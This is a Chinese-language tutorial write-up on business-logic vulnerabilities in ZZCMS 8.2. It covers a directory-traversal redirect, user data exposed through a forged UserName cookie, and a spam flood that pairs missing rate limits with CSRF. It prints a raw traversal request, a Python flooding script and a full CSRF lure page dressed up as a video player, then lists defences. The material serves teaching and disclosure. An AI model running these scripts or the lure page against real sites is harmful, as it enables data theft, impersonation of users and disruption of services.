记录一次利用业务设计缺陷漏洞的精彩实战测试
字数 1369 2025-08-18 11:37:16
ZZCMS 8.2 业务逻辑漏洞分析与实战教学
前言
本文详细分析ZZCMS 8.2版本中存在的多个业务逻辑漏洞,包括目录跳转读取敏感信息、个人敏感信息泄露漏洞、业务设计缺陷导致的拒绝服务攻击等。通过本教学文档,您将学习到如何发现、分析和利用这些漏洞,以及相应的防御措施。
漏洞一:目录跳转读取敏感信息
漏洞位置
zzcms8.2/baojia/baojia.php 第4行引用了 zzcms8.2/inc/top.php
漏洞分析
- 该文件在引用时进行了if逻辑判断,判断中存在可控变量
- 服务器端接收POST请求执行跳转操作,但前端没有相关参数
- 黑盒测试难以发现此漏洞,因为:
- 不知道存在POST请求处理
- 不知道具体参数名称
漏洞利用步骤
- 使用Burp Suite将GET请求改为POST请求
- 尝试XSS攻击失败("被HTML编码,'被转义)
- 改用目录跳转思路,使用问号伪截断技术
- 构造POST请求包示例:
POST /zzcms8.2/baojia/baojia.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded redirect=../../../../../../../?&
利用效果
- 可读取服务器根目录下的敏感文件
- 可用于发现网站真实IP(绕过CDN)
漏洞二:逻辑漏洞导致个人敏感信息泄露
漏洞位置
zzcms8.2/baojia/baojiaadd.php 第183-213行
漏洞分析
- 系统从用户Cookie中获取UserName
- 如果UserName存在且数据库中匹配,则返回该用户的:
- 公司名
- 真实姓名
- 手机号码
- 邮箱
漏洞利用步骤
- 设置Cookie中的UserName为数据库中存在的用户名
Cookie: UserName=test2; - 访问相关页面即可获取该用户的敏感信息
防御建议
- 增加权限验证
- 对敏感信息进行加密存储
- 实现完善的会话管理机制
漏洞三:设计缺陷漏洞+CSRF组合攻击
漏洞位置
zzcms8.2/baojia/baojiaadd.php 第183-242行及274-313行
漏洞分析
- 同一用户可反复发布报价信息
- 无发布数量限制
- 验证码功能存在缺陷(本案例中已注释掉)
- 无CSRF防护机制
攻击原理
- 利用业务设计缺陷大量提交伪造报价信息
- 结合CSRF让大量用户自动提交
- 导致:
- 数据库被垃圾数据填塞
- 管理员审核工作负担剧增
- 正常业务无法开展
攻击演示
方法一:Python脚本自动化攻击
import requests
import os
import random
import ast
def attack():
host = 'http://localhost/zzcms8.2/baojia/baojiaadd.php?'
users = ['mayun','mahuateng','zhouhongwei','leijun','liyanhong']
un = random.randint(0,len(users)-1)
cookie_value = '"Cookie":"UserName={user_forgery};"'.format(user_forgery=users[un])
header = '{'+cookie_value+'}'
header = ast.literal_eval(header)
# 构造伪造数据
product = ['防晒面膜','护手霜','澳洲牛排','纸尿布','充气娃娃']
pn = random.randint(0,len(product)-1)
price_value = str(random.randint(25,500))
companyname_values = ['阿里巴巴','腾讯','百度','小米','360']
cn = random.randint(0,len(companyname_values)-1)
truename_values = ['马云','马化腾','周鸿伟','李彦宏','雷军']
tn = random.randint(0,len(truename_values)-1)
tel_value = '15'+''.join([str(random.randint(0,9)) for _ in range(8)])
address_value = ['宿迁市宿城区西湖路358号','河南省开封市鼓楼区黄河大街中段1号']
an = random.randint(0,len(address_value)-1)
email_suffix = ['@163.com','@qq.com','@sina.com','@souhu.com','@gmail.com']
en = random.randint(0,len(email_suffix)-1)
email_value = ''.join([str(random.randint(0,9)) for _ in range(12)])+email_suffix[en]
payload = {
"cp": product[pn],
"classid": "王二狗专属",
"province": "王二狗大街",
"city": "王二狗城市",
"xiancheng": "王二狗县",
"price": price_value,
"companyname": companyname_values[cn],
"truename": truename_values[tn],
"tel": tel_value,
"address": address_value[an],
"email": email_value,
"yzm": "1234",
"Submit": "发布",
"action": "add"
}
r = requests.post(host, data=payload, headers=header)
print(r.content.decode('utf-8'))
def exp():
num = int(input('请输入要发送的伪造数据包个数:'))
for _ in range(num):
attack()
print('\n-攻击结束-')
exp()
方法二:CSRF攻击页面
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<h1>小电影加载成功!</h1>
<form action="http://localhost/zzcms8.2/baojia/baojiaadd.php?" method="POST">
<input id="cp" type="hidden" name="cp" value="跨站请求伪造" />
<input type="hidden" name="classid" value="王二狗专属" />
<input type="hidden" name="province" value="大街" />
<input type="hidden" name="city" value="某城市" />
<input type="hidden" name="xiancheng" value="小县镇" />
<input id="price" type="hidden" name="price" value="666" />
<input id="companyname" type="hidden" name="companyname" value="跨站请求伪造公司" />
<input id="truename" type="hidden" name="truename" value="王二狗" />
<input id="tel" type="hidden" name="tel" value="18888888888" />
<input id="address" type="hidden" name="address" value="跨站请求伪造伪造哦" />
<input id="email" type="hidden" name="email" value="123456@qq.com" />
<input type="hidden" name="yzm" value="1234" />
<input type="hidden" name="Submit" value="发布" />
<input type="hidden" name="action" value="add" />
<input type="submit" value="点击播放" onclick="jump()">
</form>
<script>
function jump() {
window.location.href="http://www.baidu.com";
}
function setCookie(c_name,value,expiredays) {
var exdate = new Date()
exdate.setDate(exdate.getDate()+expiredays)
document.cookie = c_name + "=" + escape(value) + ((expiredays==null) ? "" : ";expires="+exdate.toGMTString())
}
var user_cookie = ["Helen","Mike","Jack","Nier","Wyate"];
var range = user_cookie.length;
function rd(n,m){
var c = m-n+1;
return Math.floor(Math.random() * c + n);
}
var n = 0;
user = user_cookie[rd(n,range)];
setCookie('UserName',user,'1');
var cp = ["Q币充值","淘宝刷单","游戏代理","腾讯会员"];
cp_value = cp[rd(0,cp.length-1)];
document.getElementById("cp").setAttribute('value',cp_value);
var price = rd(10,100);
document.getElementById("price").setAttribute('value',price);
var companyname = ["阿里巴巴","腾讯","小米","京东","百度","360"];
companyname_value = companyname[rd(0,companyname.length-1)];
document.getElementById("companyname").setAttribute('value',companyname_value);
var truename = ["小马","大马","小雷","小刘","小李"];
truename_value = truename[rd(0,truename.length-1)];
document.getElementById("truename").setAttribute('value',truename_value);
var tel_top = '188';
tel_value = tel_top + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9);
tel_value = parseInt(tel_value);
document.getElementById("tel").setAttribute('value',tel_value);
var email_suffix = ["@163.com","@qq.com","@sina.com","@gmail.com"];
var email_value = tel_top + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9) + email_suffix[rd(0,email_suffix.length-1)];
document.getElementById("email").setAttribute('value',email_value);
var address = ['宿迁市宿城区西湖路358号','河南省开封市鼓楼区黄河大街中段1号'];
address_value = address[rd(0,address.length-1)];
document.getElementById("address").setAttribute('value',address_value);
</script>
</body>
</html>
组合攻击效果
- 通过CSRF页面诱导大量用户点击
- 每个点击会生成不同的伪造数据
- 结合自动化脚本发起"洪水攻击"
- 结果:
- 数据库被大量伪造数据填塞
- 管理员无法区分真实与伪造数据
- 网站业务受到严重影响
防御措施
-
目录跳转漏洞防御:
- 对跳转目标进行严格白名单验证
- 禁止跳转到非预期目录
- 使用绝对路径而非相对路径
-
敏感信息泄露防御:
- 实现完善的权限验证机制
- 对敏感信息进行加密存储
- 避免直接从Cookie获取关键信息
-
业务设计缺陷防御:
- 实施合理的业务限制(如发布频率限制)
- 完善验证码机制
- 增加二次确认步骤
-
CSRF防御:
- 添加CSRF Token
- 检查Referer头
- 关键操作使用POST而非GET
-
其他建议:
- 定期进行安全审计
- 对用户输入进行严格过滤
- 实现完善的日志记录机制
总结
本教学详细分析了ZZCMS 8.2中的多个安全漏洞,展示了如何利用这些漏洞进行攻击,并提供了相应的防御措施。这些漏洞的利用展示了业务逻辑安全问题可能造成的严重影响,强调了在系统设计阶段考虑安全性的重要性。